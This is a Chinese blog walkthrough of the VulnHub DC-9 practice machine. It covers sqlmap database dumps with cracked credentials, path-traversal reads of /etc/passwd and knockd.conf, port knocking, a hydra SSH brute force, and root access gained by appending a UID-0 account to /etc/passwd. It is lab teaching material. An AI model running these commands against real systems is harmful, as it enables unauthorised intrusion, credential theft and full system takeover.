VulnHub-DC-9渗透流程
VulnHub-DC-9
kali:192.168.157.131
靶机:192.168.157.153
SQL注入
试了几个sql常用语句,无回显,抓个包得知post参数名是search,sqlmap嗦一下
sqlmap -u "http://192.168.157.153/results.php" --data "search=1" --dbs --batch
成功,一级级查看下去
sqlmap -u "http://192.168.157.153/results.php" --data "search=1" -D Staff -T Users -C UserID,Password,Username --dump --batch
md5加密,解一下:transorbital1
还有一个users库
sqlmap -u "http://192.168.157.153/results.php" --data "search=1" -D users -T UserDetails -C id,username,password --dump --batch
这时就可以登录admin用户了,但显示文件不存在,猜测有文件包含漏洞
http://192.168.157.153/manage.php?file=../../../../../../../etc/passwd
测试成功,但现在还不知道如何利用
文件包含+ssh爆破
先使用hydra来ssh爆破,用户、密码本即数据库所得
把爆库得到数据如下处理
选择此区域保存
awk -F "|" '{print $3}' 1.txt > users.txt
awk -F "|" '{print $4}' 1.txt > pass.txt
# txt内有空格,要删干净
hydra -L users.txt -P pass.txt 192.168.157.153 ssh
ssh拒绝连接,具体原因是靶机使用了knockd进行防护
knockd.conf是一种端口试探服务器工具。
它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。
telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中,也可以直接用nc敲击端口。
这时文件包含漏洞就能利用上了,读取/etc/knockd.conf
http://192.168.157.153/manage.php?file=../../../../../../../etc/knockd.conf
nc 192.168.157.153 7469
nc 192.168.157.153 8475
nc 192.168.157.153 9842
或
knock 192.168.157.153 7469 8475 9842
hydra -L users.txt -P pass.txt 192.168.157.153 ssh
[22][ssh] host: 192.168.157.153 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.157.153 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.157.153 login: janitor password: Ilovepeepee
分别登录进行信息收集
janitor用户下有密码本,取出来再次爆破
[22][ssh] host: 192.168.157.153 login: fredf password: B4-Tru3-001
得到新的用户及密码
提权
登录发现可以执行/opt/devstuff/dist/test/test
在/opt/devstuff下有py文件
fredf@dc-9:~$ cd /opt/devstuff/
fredf@dc-9:/opt/devstuff$ ls
build dist __pycache__ test.py test.spec
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
代码审计得知需要构造一个含有root权限数据的文件,通过test.py写入到/etc/passwd文件中即可
┌──(root㉿kali)-[~]
└─# openssl passwd -1 -salt hack 123456
$1$hack$.JxSX4bOP1WSqH0kCgs9Y.
passwd文件格式
用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell
echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >>/tmp/hack
sudo ./test /tmp/hack /etc/passwd
su hack
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通